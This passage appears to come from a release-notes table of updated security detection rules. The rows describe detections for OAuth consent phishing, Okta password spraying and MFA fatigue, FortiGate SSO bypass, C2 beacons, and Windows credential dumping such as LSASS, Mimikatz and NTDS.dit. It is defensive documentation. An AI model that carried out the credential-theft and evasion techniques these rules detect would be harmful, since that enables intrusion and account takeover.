illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources in Microsoft 365. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources in Microsoft 365 on-behalf-of the user. | update | 8 + +|<> | Detects potentially suspicious OAuth authorization activity in Microsoft 365 where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. | update | 5 + +|<> | Identifies the first occurrence of SSO, SAML, or federated authentication errors for a user. These errors may indicate token manipulation, SAML assertion tampering, or OAuth phishing attempts. Modern adversaries often target SSO mechanisms through token theft, SAML response manipulation, or exploiting federated authentication weaknesses rather than traditional brute force attacks. | update | 215 + +|<> | Detects the occurrence of emails reported as Phishing or Malware by Users. Security Awareness training is essential to stay ahead of scammers and threat actors, as security products can be bypassed, and the user can still receive a malicious message. Educating users to report suspicious messages can help identify gaps in security controls and prevent malware infections and Business Email Compromise attacks. | update | 213 + +|<> | Identifies when a user has been restricted from sending email due to exceeding sending limits of the service policies per the Security Compliance Center. | update | 213 + +|<> | Identifies the occurrence of files uploaded to OneDrive being detected as Malware by the file scanning engine. Attackers can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. Users can inadvertently share these files without knowing their maliciousness, giving adversaries an opportunity to gain initial access to other endpoints in the environment. | update | 213 + +|<> | Identifies the occurrence of files uploaded to SharePoint being detected as Malware by the file scanning engine. Attackers can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. Users can inadvertently share these files without knowing their maliciousness, giving adversaries opportunities to gain initial access to other endpoints in the environment. | update | 213 + +|<> | Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles. | update | 215 + +|<> | Identifies when a new role is assigned to a management group in Microsoft 365. An adversary may attempt to add a role in order to maintain persistence in an environment. | update | 213 + +|<> | Identifies the assignment of rights to access content from another mailbox. An adversary may use the compromised account to send messages to other accounts in the network of the target organization while creating inbox rules, so messages can evade spam/phishing detection mechanisms. | update | 214 + +|<> | Identifies when guest access is enabled in Microsoft Teams. Guest access in Teams allows people outside the organization to access teams and channels. An adversary may enable guest access to maintain persistence in an environment. | update | 214 + +|<> | Identifies a new or modified federation domain, which can be used to create a trust between O365 and an external identity provider. | update | 214 + +|<> | Identifies when a new SharePoint Site Administrator is added in Microsoft 365. Site Administrators have full control over SharePoint Sites, including the ability to manage permissions, access all content, and modify site settings. Adversaries who compromise a privileged account may add themselves or a controlled account as a Site Administrator to maintain persistent, high-privilege access to sensitive SharePoint data. This technique was notably observed in the 0mega ransomware campaign, where attackers elevated privileges to exfiltrate data and deploy ransom notes across SharePoint sites. | update | 2 + +|<> | Detects attempts to bypass Okta multi-factor authentication (MFA). An adversary may attempt to bypass the Okta MFA policies configured for an organization in order to obtain unauthorized access to an application. | update | 415 + +|<> | Identifies when an Okta user account is locked out 3 times within a 3 hour window. An adversary may attempt a brute force or password spraying attack to obtain unauthorized access to user accounts. The default Okta authentication policy ensures that a user account is locked out after 10 failed authentication attempts. | update | 417 + +|<> | Detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. | update | 212 + +|<> | This rule detects when a specific Okta actor has multiple device token hashes and multiple source IPs for a single Okta session. This may indicate an authenticated session has been hijacked or replayed from a different device and network. Adversaries may steal session cookies or tokens to gain unauthorized access to Okta admin console, applications, tenants, or other resources. | update | 311 + +|<> | Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. | update | 211 + +|<> | Detects potential brute force attacks against a single Okta user account where excessive unique device token hashes are generated, indicating automated tooling that fails to persist browser cookies between attempts. | update | 212 + +|<> | Detects potential brute force attacks against a single Okta user account from multiple source IPs, indicating attackers rotating through proxy infrastructure to evade IP-based detection. | update | 3 + +|<> | Detects potential credential stuffing attacks where a single source IP attempts authentication against many Okta user accounts with minimal attempts per user, indicating the use of breached credential lists. | update | 211 + +|<> | Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. | update | 213 + +|<> | Detects potential password spray attacks where multiple source IPs target multiple Okta user accounts within a time window, indicating coordinated attacks using IP rotation to evade single-source detection. | update | 3 + +|<> | Detects potential password spray attacks where a single source IP attempts authentication against multiple Okta user accounts with repeated attempts per user, indicating common password guessing paced to avoid lockouts. | update | 418 + +|<> | Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. | update | 419 + +|<> | Correlates Okta credential attack alerts with subsequent successful authentication for the same user account, identifying potential compromise following brute force, password spray, or credential stuffing attempts. | update | 3 + +|<> | A user has initiated a session impersonation granting them access to the environment with the permissions of the user they are impersonating. This would likely indicate Okta administrative access and should only ever occur if requested and expected. | update | 416 + +|<> | Detects attempts to deactivate an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. | update | 415 + +|<> | Detects attempts to delete an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. | update | 414 + +|<> | Identifies a failed OAuth 2.0 token grant attempt for a public client app using client credentials. This event is generated when a public client app attempts to exchange a client credentials grant for an OAuth 2.0 access token, but the request is denied due to the lack of required scopes. This could indicate compromised client credentials in which an adversary is attempting to obtain an access token for unauthorized scopes. This is a [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule where the `okta.actor.display_name` field value has not been seen in the last 14 days regarding this event. | update | 210 + +|<> | Detects attempts to deactivate an Okta policy. An adversary may attempt to deactivate an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to deactivate an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. | update | 415 + +|<> | Detects attempts to deactivate a rule within an Okta policy. An adversary may attempt to deactivate a rule within an Okta policy in order to remove or weaken an organization's security controls. | update | 416 + +|<> | Detects attempts to delete an Okta policy. An adversary may attempt to delete an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to delete an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. | update | 415 + +|<> | Detects attempts to delete a rule within an Okta policy. An adversary may attempt to delete an Okta policy rule in order to weaken an organization's security controls. | update | 415 + +|<> | Detects attempts to modify an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. | update | 415 + +|<> | Detects attempts to modify an Okta policy. An adversary may attempt to modify an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to modify an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. | update | 415 + +|<> | Detects attempts to modify a rule within an Okta policy. An adversary may attempt to modify an Okta policy rule in order to weaken an organization's security controls. | update | 416 + +|<> | Identifies a high number of Okta user password reset or account unlock attempts. An adversary may attempt to obtain unauthorized access to Okta user accounts using these methods and attempt to blend in with normal activity in their target's environment and evade detection. | update | 417 + +|<> | Identifies attempts to revoke an Okta API token. An adversary may attempt to revoke or delete an Okta API token to disrupt an organization's business operations. | update | 414 + +|<> | Detects attempts to deactivate an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. | update | 414 + +|<> | Detects attempts to delete an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. | update | 413 + +|<> | Detects attempts to modify an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. | update | 413 + +|<> | Detects possible Denial of Service (DoS) attacks against an Okta organization. An adversary may attempt to disrupt an organization's business operations by performing a DoS attack against its Okta service. | update | 414 + +|<> | Identifies the first occurrence of an Okta user session started via a proxy. | update | 212 + +|<> | Detects when Okta FastPass prevents a user from authenticating to a phishing website. | update | 312 + +|<> | Correlates the first occurrence of an Okta user session started via a proxy with subsequent Okta security alerts for the same user. Attackers frequently use proxy infrastructure (VPNs, Tor, residential proxies) to mask their origin when using stolen credentials, and their post-authentication activity often triggers additional detection rules. | update | 2 + +|<> | Identifies unauthorized access attempts to Okta applications. | update | 415 + +|<> | Detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. | update | 311 + +|<> | Detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP) that has not been seen before. Adversaries may add an unauthorized IdP to an Okta tenant to gain persistent access. This rule uses New Terms detection to only alert when a previously unseen IdP is used for authentication, reducing noise from legitimate federated identity providers while highlighting potentially rogue IdP additions. | update | 213 + +|<> | Detects successful single sign-on (SSO) events to Okta applications from an unrecognized or "unknown" client device, as identified by the user-agent string. This activity may be indicative of exploitation of a vulnerability in Okta's Classic Engine, which could allow an attacker to bypass application-specific sign-on policies, such as device or network restrictions. The vulnerability potentially enables unauthorized access to applications using only valid, stolen credentials, without requiring additional authentication factors. | update | 209 + +|<> | Detects when a user reports suspicious activity for their Okta account. These events should be investigated, as they can help security teams identify when an adversary is attempting to gain access to their network. | update | 413 + +|<> | Detects when a user has started multiple Okta sessions with the same user account and different session IDs. This may indicate that an attacker has stolen the user's session cookie and is using it to access the user's account from a different location. | update | 211 + +|<> | Okta ThreatInsight is a feature that provides valuable debug data regarding authentication and authorization processes, which is logged in the system. Within this data, there is a specific field called threat_suspected, which represents Okta's internal evaluation of the authentication or authorization workflow. When this field is set to True, it suggests the presence of potential credential access techniques, such as password-spraying, brute-forcing, replay attacks, and other similar threats. | update | 413 + +|<> | Detects when an administrator role is assigned to an Okta group. An adversary may attempt to assign administrator privileges to an Okta group in order to assign additional permissions to compromised user accounts and maintain access to their target organization. | update | 414 + +|<> | Identifies when an administrator role is assigned to an Okta user or group. Adversaries may assign administrator privileges to compromised accounts to establish persistence, escalate privileges, and maintain long-term access to the environment. This detection monitors for both user-level and group-level administrator privilege grants, which can be used to bypass security controls and perform unauthorized administrative actions. | update | 415 + +|<> | Detects attempts to create an Okta API token. An adversary may create an Okta API token to maintain access to an organization's network while they work to achieve their objectives. An attacker may abuse an API token to execute techniques such as creating user accounts or disabling security rules or policies. | update | 414 + +|<> | Detects attempts to reset an Okta user's enrolled multi-factor authentication (MFA) factors. An adversary may attempt to reset the MFA factors for an Okta user's account in order to register new MFA factors and abuse the account to blend in with normal activity in the victim's environment. | update | 415 + +|<> | Detects multi-factor authentication (MFA) deactivation with no subsequent re-activation for an Okta user account. An adversary may deactivate MFA for an Okta user account in order to weaken the authentication requirements for the account. | update | 419 + +|<> | Detects the creation of a new Identity Provider (IdP) by a Super Administrator or Organization Administrator within Okta. | update | 210 + +|<> | Detects attempts to modify or delete a sign on policy for an Okta application. An adversary may attempt to modify or delete the sign on policy for an Okta application in order to remove or weaken an organization's security controls. | update | 415 + +|<> | Detects a sequence of suspicious activities on Windows hosts indicative of credential compromise, followed by efforts to undermine multi-factor authentication (MFA) and single sign-on (SSO) mechanisms for an Okta user account. | update | 210 + +|<> | This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 12 + +|<> | Identifies multiple consecutive login attempts executed by one process targeting a local linux user account within a short time interval. Adversaries might brute force login attempts across different users with a default wordlist or a set of customly crafted passwords in an attempt to gain access to these accounts. | update | 14 + +|<> | This rule detects potential password spraying attacks via SSH by identifying multiple failed login attempts from a single source IP address targeting various user accounts within a short time frame. Password spraying is a technique where an attacker attempts to gain unauthorized access by trying a few commonly used passwords against many different accounts, rather than targeting a single account with multiple password attempts. | update | 3 + +|<> | This rule leverages ESQL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 11 + +|<> | This rule detects potential port scanning activity from a compromised host. Port scanning is a common reconnaissance technique used by attackers to identify open ports and services on a target system. A compromised host may exhibit port scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable services, or prepare for further exploitation. This rule identifies potential port scanning activity by monitoring network connection attempts from a single host to a large number of ports within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 12 + +|<> | This rule detects potential subnet scanning activity from a compromised host. Subnet scanning is a common reconnaissance technique used by attackers to identify live hosts within a network range. A compromised host may exhibit subnet scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable hosts, or prepare for further exploitation. This rule identifies potential subnet scanning activity by monitoring network connection attempts from a single host to a large number of hosts within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 12 + +|<> | This rule monitors the syslog log file for messages related to instances of processes that are started with an executable stack. This can be an indicator of a process that is attempting to execute code from the stack, which can be a security risk. | update | 6 + +|<> | This rule leverages ESQL to detect the execution of unusual file transfer utilities on Linux systems. Attackers may use these utilities to exfiltrate data from a compromised system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 12 + +|<> | This detection identifies a Linux host that has potentially been infected with malware and is being used to conduct brute-force attacks against external systems over SSH (port 22 and common alternative SSH ports). The detection looks for a high volume of outbound connection attempts to non-private IP addresses from a single process. A compromised host may be part of a botnet or controlled by an attacker, attempting to gain unauthorized access to remote systems. This behavior is commonly observed in SSH brute-force campaigns where malware hijacks vulnerable machines to expand its attack surface. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 12 + +|<> | Identifies successful exploitation of CVE-2023-50164, a critical path traversal vulnerability in Apache Struts 2 file upload functionality. This high-fidelity rule detects a specific attack sequence where a malicious multipart/form-data POST request with WebKitFormBoundary is made to a Struts .action upload endpoint, immediately followed by the creation of a JSP web shell file by a Java process in Tomcat's webapps directories. This correlated activity indicates active exploitation resulting in remote code execution capability through unauthorized file upload and web shell deployment. | update | 3 + +|<> | This rule monitors the syslog log file for messages related to instances of a program using the "bpf_probe_write_user" helper. The "bpf_probe_write_user" helper is used to write data to user space from a BPF program. Unauthorized use of this helper can be indicative of an eBPF rootkit or other malicious activity. | update | 5 + +|<> | This rule monitors the syslog log file for error messages related to the rc.local process. The rc.local file is a script that is executed during the boot process on Linux systems. Attackers may attempt to modify the rc.local file to execute malicious commands or scripts during system startup. This rule detects error messages such as "Connection refused," "No such file or directory," or "command not found" in the syslog log file, which may indicate that the rc.local file has been tampered with. | update | 8 + +|<> | This rule monitors the syslog log file for messages related to instances of a tainted kernel module load. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules can compromise the kernel and lead to system vulnerabilities or unauthorized access. | update | 10 + +|<> | This rule monitors the syslog log file for messages related to instances of a out-of-tree kernel module load, indicating the taining of the kernel. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules can compromise the kernel and lead to system vulnerabilities or unauthorized access. | update | 8 + +|<> | This rule detects unusual processes spawned from a web server parent process by identifying low frequency counts of process spawning activity. Unusual process spawning activity may indicate an attacker attempting to establish persistence, execute malicious commands, or establish command and control channels on the host system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 12 + +|<> | This rule detects potential command execution from a web server parent process on a Linux host. Adversaries may attempt to execute commands from a web server parent process to blend in with normal web server activity and evade detection. This behavior is commonly observed in web shell attacks where adversaries exploit web server vulnerabilities to execute arbitrary commands on the host. The detection rule identifies unusual command execution from web server parent processes, which may indicate a compromised host or an ongoing attack. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 12 + +|<> | Detects the first time a Python process creates or modifies a LaunchAgent or LaunchDaemon plist file on a given host. Malicious Python scripts, compromised dependencies, or model file deserialization can establish persistence on macOS by writing plist files to LaunchAgent or LaunchDaemon directories. Legitimate Python processes do not typically create persistence mechanisms, so a first occurrence is a strong indicator of compromise. | update | 3 + +|<> | This rule detects the download of a FortiGate device configuration file. Configuration exports contain sensitive data including administrator password hashes, LDAP bind credentials, VPN pre-shared keys, routing tables, and firewall policies. Threat actors exploiting CVE-2026-24858 have been observed exporting the full device configuration immediately after gaining access to harvest credentials and map the internal network. | update | 3 + +|<> | This rule detects network events that may indicate the use of Telnet traffic. Telnet is commonly used by system administrators to remotely control older or embedded systems using the command line shell. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. As a plain-text protocol, it may also expose usernames and passwords to anyone capable of observing the traffic. | update | 113 + +|<> | Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for command and control. | update | 108 + +|<> | This rule detects the use of the default Cobalt Strike Team Server TLS certificate. Cobalt Strike is software for Adversary Simulations and Red Team Operations which are security assessments that replicate the tactics and techniques of an advanced adversary in a network. Modifications to the Packetbeat configuration can be made to include MD5 and SHA256 hashing algorithms (the default is SHA1). See the References section for additional information on module configuration. | update | 110 + +|<> | Detects a Roshal Archive (RAR) file or PowerShell script downloaded from the internet by an internal host. Gaining initial access to a system and then downloading encoded or encrypted tools to move laterally is a common practice for adversaries as a way to protect their more valuable tools and tactics, techniques, and procedures (TTPs). This may be atypical behavior for a managed network and can be indicative of malware, exfiltration, or command and control. | update | 108 + +|<> | This rule detects a known command and control pattern in network events. The FIN7 threat group is known to use this command and control technique, while maintaining persistence in their target's network. | update | 109 + +|<> | Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity algorithm leveraged by Halfbaked implant beacons for command and control. | update | 107 + +|<> | This rule detects events that could be describing IPSEC NAT Traversal traffic. IPSEC is a VPN technology that allows one system to talk to another using encrypted tunnels. NAT Traversal enables these tunnels to communicate over the Internet where one of the sides is behind a NAT router gateway. This may be common on your network, but this technique is also used by threat actors to avoid detection. | update | 110 + +|<> | This rule detects events that may indicate use of SMTP on TCP port 26. This port is commonly used by several popular mail transfer agents to deconflict with the default SMTP port 25. This port has also been used by a malware family called BadPatch for command and control of Windows systems. | update | 110 + +|<> | This rule detects network events that may indicate the use of RDP traffic from the Internet. RDP is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. | update | 109 + +|<> | This rule detects network events that may indicate the use of VNC traffic from the Internet. VNC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. | update | 111 + +|<> | This rule detects network events that may indicate the use of VNC traffic to the Internet. VNC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. | update | 111 + +|<> | This rule detects the creation or modification of a FortiGate firewall policy that permits all sources, all destinations, and all services. An overly permissive policy effectively bypasses all firewall protections. Threat actors exploiting CVE-2026-24858 have been observed creating such policies to allow unrestricted traffic flow through compromised FortiGate devices. | update | 2 + +|<> | This rule detects successful logins to the FortiGate management interface using the same Administrator account from multiple distinct source IP addresses within an 24-hour period. Administrator logins from multiple locations in a short time window may indicate credential sharing, compromised credentials, or unauthorized access and should be investigated. | update | 3 + +|<> | This rule detects the first successful FortiCloud SSO login from a previously unseen source IP address to a FortiGate device within the last 5 days. FortiCloud SSO logins from new source IPs may indicate exploitation of SAML-based authentication bypass vulnerabilities such as CVE-2026-24858, where crafted SAML assertions allow unauthorized access to FortiGate devices registered to other accounts. Environments that regularly use FortiCloud SSO will only alert on new source IPs not seen in the lookback window. | update | 4 + +|<> | This rule detects the first observed successful login of a user with the Administrator role to the FortiGate management interface within the last 5 days. First-time administrator logins can indicate newly provisioned accounts, misconfigurations, or unauthorized access using valid credentials and should be reviewed promptly. | update | 3 + +|<> | This rule identifies network security alerts related to CVE-2025-55182 exploitation attempts from different network security integrations. CVE-2025-55182 is a critical remote code execution vulnerability in React Server Components (RSC) Flight protocol. The vulnerability allows attackers to execute arbitrary code on the server by sending specially crafted deserialization payloads that exploit prototype chain traversal to access the Function constructor. | update | 2 + +|<> | This rule detects network events that may indicate the use of RPC traffic from the Internet. RPC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. | update | 110 + +|<> | This rule detects network events that may indicate the use of RPC traffic to the Internet. RPC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. | update | 109 + +|<> | This rule detects network events that may indicate the use of Windows file sharing (also called SMB or CIFS) traffic to the Internet. SMB is commonly used within networks to share files, printers, and other system resources amongst trusted systems. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector or for data exfiltration. | update | 110 + +|<> | Identifies Elasticsearch nodes that do not have Transport Layer Security (TLS), and/or lack authentication, and are accepting inbound network connections over the default Elasticsearch port. | update | 107 + +|<> | Specially crafted DNS requests can manipulate a known overflow vulnerability in some Windows DNS servers, resulting in Remote Code Execution (RCE) or a Denial of Service (DoS) from crashing the service. | update | 109 + +|<> | This rule detects FortiGate administrator account creation from a source IP address not previously seen performing admin operations on the device. Threat actors exploiting CVE-2026-24858 (FG-IR-26-060) authenticate via FortiCloud SSO bypass and immediately create local administrator accounts for persistence, typically from infrastructure not associated with normal administrative activity. | update | 2 + +|<> | This rule detects a FortiCloud SSO login followed by administrator account creation on the same FortiGate device within 15 minutes. This sequence is a high-confidence indicator of the FG-IR-26-060 attack pattern, where threat actors authenticate via SAML-based SSO bypass and immediately create local administrator accounts for persistence. | update | 3 + +|<> | This rule detects the creation of an administrator account on a FortiGate device. Administrator account creation on these devices should be infrequent and tightly controlled. In the FG-IR-26-060 campaign, threat actors created super_admin accounts immediately after gaining initial access via FortiCloud SSO bypass to establish persistence. | update | 2 + +|<> | Identifies the use of the Exchange PowerShell cmdlet, New-MailBoxExportRequest, to export the contents of a primary mailbox or archive to a .pst file. Adversaries may target user email to collect sensitive information. | update | 422 + +|<> | Identifies the use of WinRAR or 7-Zip to create encrypted archives. Adversaries often compress and encrypt data in preparation for exfiltration. | update | 219 + +|<> | Identifies Certreq making an HTTP Post request. Adversaries could abuse Certreq to download files or upload data to a remote URL. | update | 216 + +|<> | Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in. | update | 130 + +|<> | This rule identifies a large number (15) of nslookup.exe executions with an explicit query type from the same host. This may indicate command and control activity utilizing the DNS protocol. | update | 315 + +|<> | Identifies headless browser execution from a suspicious parent process with arguments consistent with scripted retrieval. Adversaries use browsers because they are trusted, signed binaries that proxy and application-control policies allow through, bypassing restrictions on direct download tools. | update | 209 + +|<> | Identifies a Windows host where two or more distinct remote monitoring and management (RMM) or remote-access tool vendors are observed starting processes within the same eight-minute window. Legitimate MSP environments may run multiple tools, but this pattern can also indicate compromise, shadow IT, or attacker staging of redundant access. Processes are mapped to a single vendor label so multiple binaries from the same vendor do not inflate the count. | update | 2 + +|<> | Identifies modifications in registry keys associated with abuse of the Outlook Home Page functionality for command and control or persistence. | update | 209 + +|<> | Identifies the creation of a new port forwarding rule. An adversary may abuse this technique to bypass network segmentation restrictions. | update | 418 + +|<> | Identifies potential use of an SSH utility to establish RDP over an SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. | update | 421 + +|<> | Identifies known file and registry traces of the REMCOS Remote Access Trojan, including log files, persistence values, and cleanup artifacts. Adversaries use Remcos to maintain persistent remote access to compromised hosts. | update | 3 + +|<> | Identifies the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil. | update | 319 + +|<> | Identifies the Windows Defender configuration utility (MpCmdRun.exe) being used to download a remote file. | update | 319 + +|<> | Detects an MSI installer execution followed by the execution of commonly abused Remote Management Software like ScreenConnect. This behavior may indicate abuse where an attacker triggers an MSI install then connects via a guest link with a known session key. | update | 3 + +|<> | Identifies execution of the NetSupport remote access software from non-default paths. Adversaries may abuse NetSupport Manager to control a victim machine. | update | 3 + +|<> | Identifies suspicious processes being spawned by the ScreenConnect client processes. This activity may indicate execution abusing unauthorized access to the ScreenConnect remote access software. | update | 314 + +|<> | Identifies Curl for Windows making an HTTP request. Adversaries could abuse Curl to download files or upload data to a remote URL. | update | 7 + +|<> | Identifies the use of Cloudflare Tunnel (cloudflared) to expose a local service or create an outbound tunnel. Adversaries may abuse quick tunnels (e.g. tunnel --url http://127.0.0.1:80) or named tunnels to proxy C2 traffic or exfiltrate data through Cloudflare's edge while evading direct connection blocking. | update | 3 + +|<> | Detects the execution of the VScode portable binary with the tunnel command line option indicating an attempt to establish a remote tunnel session to Github or a remote VScode instance. | update | 111 + +|<> | Identifies execution of Yuze, a lightweight open-source tunneling tool used for intranet penetration. Yuze supports forward and reverse SOCKS5 proxy tunneling and is typically executed via rundll32 loading yuze.dll with the RunYuze export. Threat actors may use it to proxy C2 or pivot traffic. | update | 3 + +|<> | Detects shell executions (cmd, PowerShell, rundll32) spawned by Velociraptor. Threat actors have been observed installing Velociraptor to execute shell commands on compromised systems, blending in with legitimate system processes. | update | 3 + +|<> | Identifies instances where an unusual process spawns a chrome browser child process. This behavior could be related to malware stealing browser information. | update | 3 + +|<> | Identifies the execution of known Windows utilities often abused to dump LSASS memory or the Active Directory database (NTDS.dit) in preparation for credential access. | update | 320 + +|<> | Identifies a copy operation of the Active Directory Domain Database (ntds.dit) or Security Account Manager (SAM) files. Those files contain sensitive information including hashed domain and/or local credentials. | update | 320 + +|<> | Identifies the creation or modification of Domain Backup private keys. Adversaries may extract the Data Protection API (DPAPI) domain backup key from a Domain Controller (DC) to be able to decrypt any domain user master key file. | update | 417 + +|<> | Identifies attempts to export a registry hive which may contain credentials using the Windows reg.exe tool. | update | 316 + +|<> | Identifies the enable of the full user-mode dumps feature system-wide. This feature allows Windows Error Reporting (WER) to collect data after an application crashes. This setting is a requirement for the LSASS Shtinkering attack, which fakes the communication of a crash on LSASS, generating a dump of the process memory, which gives the attacker access to the credentials present on the system without having to bring malware to the system. This setting is not enabled by default, and applications must create their registry subkeys to hold settings that enable them to collect dumps. | update | 112 + +|<> | Identifies use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command. | update | 318 + +|<> | Identifies the creation of .kirbi files. The creation of this kind of file is an indicator of an attacker running Kerberos ticket dump utilities, such as Mimikatz, and precedes attacks such as Pass-The-Ticket (PTT), which allows the attacker to impersonate users using Kerberos tickets. | update | 315 + +|<> | Identifies the creation of a Local Security Authority Subsystem Service (lsass.exe) default memory dump. This may indicate a credential access attempt via trusted system utilities such as Task Manager (taskmgr.exe) and SQL Dumper (sqldumper.exe) or known pentesting tools such as Dumpert and AndrewSpecial. | update | 315 + +|<> | Identifies access attempts to the LSASS handle, which may indicate an attempt to dump credentials from LSASS memory. | update | 17 + +|<> | Identifies the password log file from the default Mimikatz memssp module. | update | 417 + +|<> | Identifies attempts to modify the WDigest security provider in the registry to force the user's password to be stored in clear text in memory. This behavior can be indicative of an adversary attempting to weaken the security configuration of an endpoint. Once the UseLogonCredential value is modified, the adversary may attempt to dump clear text passwords from memory. | update | 216 + +|<> | Identifies the modification of the network logon provider registry. Adversaries may register a rogue network logon provider module for persistence and/or credential access via intercepting the authentication credentials in clear text during user logon. | update | 218 + +|<> | Identifies rare connection attempts to a Web Distributed Authoring and Versioning (WebDAV) resource. Attackers may inject WebDAV paths in files or features opened by a victim user to leak their NTLM credentials via forced authentication. | update | 8 + +|<> | Identifies attempt to coerce a local NTLM authentication via HTTP using the Windows Printer Spooler service as a target. An adversary may use this primitive in combination with other techniques to elevate privileges on a compromised system. | update | 317 + +|<> | Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement. | update | 317 + +|<> | Identifies suspicious renamed COMSVCS.DLL Image Load, which exports the MiniDump function that can be used to dump a process memory. This may indicate an attempt to dump LSASS memory while bypassing command-line based detection in preparation for credential access. | update | 213 + +|<> | Identifies the creation of symbolic links to a shadow copy. Symbolic links can be used to access files in the shadow copy, including sensitive files such as ntds.dit, System Boot Key and browser offline credentials. | update | 318 